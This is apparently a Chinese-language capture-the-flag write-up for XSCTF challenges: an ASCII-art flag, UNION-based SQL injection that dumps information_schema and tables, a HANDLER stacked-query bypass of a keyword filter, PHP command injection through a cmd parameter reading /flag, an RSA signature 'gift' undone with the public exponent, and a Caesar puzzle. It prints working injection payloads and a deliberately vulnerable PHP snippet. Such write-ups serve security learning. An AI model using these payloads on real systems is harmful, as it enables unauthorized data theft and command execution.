| | | |__   | |_   _   _   ___    ___    __ _  | |_   _    ___    _ __    | |    > <    \___ \  | |         | |    |  __|   / /     / /\ \   | '_ \             | |   | '_ \  | | | __| | |  / _` | | |          |  __|   \ \/ / | '_ \   | |  / _ \  | '__| |__   _| | __| | | | | | | | '_ \            / _ \  |  _|          | |  | | | '_ \  |  _| | | | | / __|  / __|  / _` | | __| | |  / _ \  | '_ \    \ \  / . \   ____) | | |____     | |    | |      \ \    / ____ \  | | | |           _| |_  | | | | | | | |_  | | | (_| | | |          | |____   >  <  | |_) |  | | | (_) | | |       | |   | |_  | | | |_| | | | | |          | (_) | | |            | |__| | | |_) | | |   | |_| | \__ \ | (__  | (_| | | |_  | | | (_) | | | | |   / / /_/ \_\ |_____/   \_____|    |_|    |_|       | |  /_/    \_\ |_| |_|          |_____| |_| |_| |_|  \__| |_|  \__,_| |_|          |______| /_/\_\ | .__/   |_|  \___/  |_|       |_|    \__| |_|  \___/  |_| |_|           \___/  |_|             \____/  |_.__/  |_|    \__,_| |___/  \___|  \__,_|  \__| |_|  \___/  |_| |_|  | |                                                 \_\                     ______                                             ______                  | |                                                             ______                 ______                                                                                /_/                                                                         |______|                                           |______|                 |_|                                                            |______|               |______|                                                                                     
拉伸一下就可以看到flag(换成不会自动换行的文本编辑软件,如notepad++)
XSCTF{An_Initial_Exp1or4ti0n_of_Obfuscation}
saveSaofe1a_partA 考sql注入
首先查询当前数据库 
然后查询该数据库下的表 
然后查询表下的字段 
根据题目提示,逐个翻表 
 
1 2 3 4 5 6 -1' union select  database (),2 ,3 ,4  -1 ' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=' student'# -1'  union  select  group_concat (column_name),2 ,3 ,4  from  information_schema.columns where  table_name='class1' -1 ' union select group_concat(id),group_concat(name),group_concat(class),group_concat(hobbies) from class1# -1'  union  select  group_concat (id ),group_concat (name ),group_concat (class ),group_concat (hobbies) from  class2-1 ' union select group_concat(id),group_concat(name),group_concat(class),group_concat(hobbies) from class3# 
XSCTF{Saofe1a_r3a11y_l0ve_xiaomei}
saveSaofe1a_partB 同样是sql注入让我想想除了insert、where、delete、select、drop、update和.你们大黑阔还有什么招嘻嘻,想起来了,set、prepare、execute也不行哦
用handler可以查
1 -1';handler  `2333`  open ;handler  `2333`  read  first ;handler  `2333`  close ; 
如果不在第一条,但是题目又过滤了where关键字,可以使用limit
1 -1';handler  `class3`  open ;handler  `class3`  read  first  limit  30 ,1 ;handler  `class3`  close ; 
XSCTF{Saofe1a_wAnt_a_9ir1fri3nd}
燕子不要走~ 1 2 3 4 5 6 7 8 9 10 function  hello_shell ($cmd )">/dev/null 2>&1" );  }      isset ($_GET['cmd' ]) ? hello_shell($_GET['cmd' ]) : null ;     highlight_file(__FILE__ );         ?> 
直接用分号隔开即可?cmd=cat /flag;
XSCTF{Yanz1_i_w1sh_y0u_hApp1neSs}
gift_RSA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from  Crypto.Util.number import  *from  secret import  flagm = bytes_to_long(flag) p = getStrongPrime(512 ) q = getStrongPrime(512 ) n = p*q e = 0x10001  phi = (p-1 )*(q-1 ) d = inverse(e, phi) gift = pow (m, d, n) print(f'n = {n} ' ) print(f'gift = {gift} ' ) """ n = 130440460982994054886194132893343627339035187428107218807321147405620338019874355591446417761513664225266160038818394605319887375239391287230478660163653875242501357695986002630460984513202850115668909532480905521208688225215737924902179053646260998230998190491472420237789646660909155287180241747552560215117 gift = 44036549032562248382682022800700872356499366761892236792447591596664499865604669855744690854360939082917175165565199000408965931210082233109686848459850428016737476624525455409019711542678368419364411036613979498284492060998121701989232698779962405921949163953624713959841997664118682769289019562394455997308 """ 
根据公钥加密算法的特性,公私钥互换效果是一样的,这里用私钥加密(签名),就可以使用公钥解密(验证)
exp
1 2 3 4 5 6 7 from  Crypto.Util.number import  *e = 0x10001  c = 44036549032562248382682022800700872356499366761892236792447591596664499865604669855744690854360939082917175165565199000408965931210082233109686848459850428016737476624525455409019711542678368419364411036613979498284492060998121701989232698779962405921949163953624713959841997664118682769289019562394455997308  n = 130440460982994054886194132893343627339035187428107218807321147405620338019874355591446417761513664225266160038818394605319887375239391287230478660163653875242501357695986002630460984513202850115668909532480905521208688225215737924902179053646260998230998190491472420237789646660909155287180241747552560215117  print(long_to_bytes(pow (c, e, n))) 
XSCTF{H3re_i5_@_Gif7_f0r_y0u_From_Euler:)))))!}
你说你是凯撒大帝尊嘟假嘟啊 1 Öv0 0vo O.0 O_Ö Övo 0vo ov0 ovÖ o.Ö owÖ 0.o OwÖ o.O Ö.O O_0 o_Ö Ö_0 OwÖ Ov0 0wÖ Ö.Ö owO 0v0 o.O o.Ö Ö.0 o.0 ovO o.Ö Ö.o 0vo Ow0 Ö.Ö owo 0_0 0.0 o.Ö Ö.O O.0 O_0 o_O 0vÖ owo  
尊嘟假嘟O.o (zdjd.vercel.app) 
解密之后凯撒爆破
XSCTF{gr3at_y0u_aRe_reA1_CaesAr}